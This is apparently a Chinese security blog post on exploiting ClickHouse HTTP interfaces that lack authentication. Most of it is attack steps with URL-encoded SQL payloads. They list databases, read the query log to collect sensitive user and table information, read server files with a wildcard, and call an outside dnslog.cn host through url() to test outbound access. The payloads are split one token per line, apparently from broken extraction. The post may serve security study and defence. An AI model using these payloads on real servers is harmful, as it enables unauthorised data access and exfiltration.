这里可以看到 ClickHouse 存在着的接口由于没有鉴权,则任意访问者都可以执行SQL语句获取数据
# 攻击方法
首先确定是否使用了 ClickHouse 数据库的接口
根据文档得知,正常返回为 Ok. , 且存在 X-ClickHouse-Summary 作为返回包的 Header
测试是否可以执行SQL命令, 部分会开启身份验证导致未授权执行失败
/
?
query
=
SHOW
%
20
DATABASES
1
成功执行语句获取数据,执行其他命令探测出网
/
?
query
=
SELECT
%
20
*
%
20
FROM
%
20
url
(
'http://jahl09.dnslog.cn'
,
'txt'
,
'column1%20UInt32'
)
%
20
LIMIT
%
202
1
其中也可以查看 system库中的执行记录表来获取最近执行的所有SQL语句来快速定位可利用的信息
(获取敏感用户信息,数据库名以及数据表名)
/
?
query
=
SELECT
%
20
*
%
20
FROM
%
20
system
.
query_thread_log
1
由于默认配置中的可读路径默认 (配置文件位置:/etc/clickhouse-server/config.xml
)
因此只能读取下面路径中的文件,当目标中曾在该路径导入文件且没有删除的情况下,可通过测试获取敏感文件信息,获取数据文件
其中读取时可以利用通配符跳过不知道文件名的情况获取文件信息
/
?
query
=
SELECT
%
20
*
%
20
FROM
%
20
file
(
'*'
%
2
C
%
20
'CSV'
%
2
C
%
20
'column1%20String%2C%20column2%20String%2C%20column3%20String'
)
%
20
LIMIT
%
203
%
3
B"
1
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论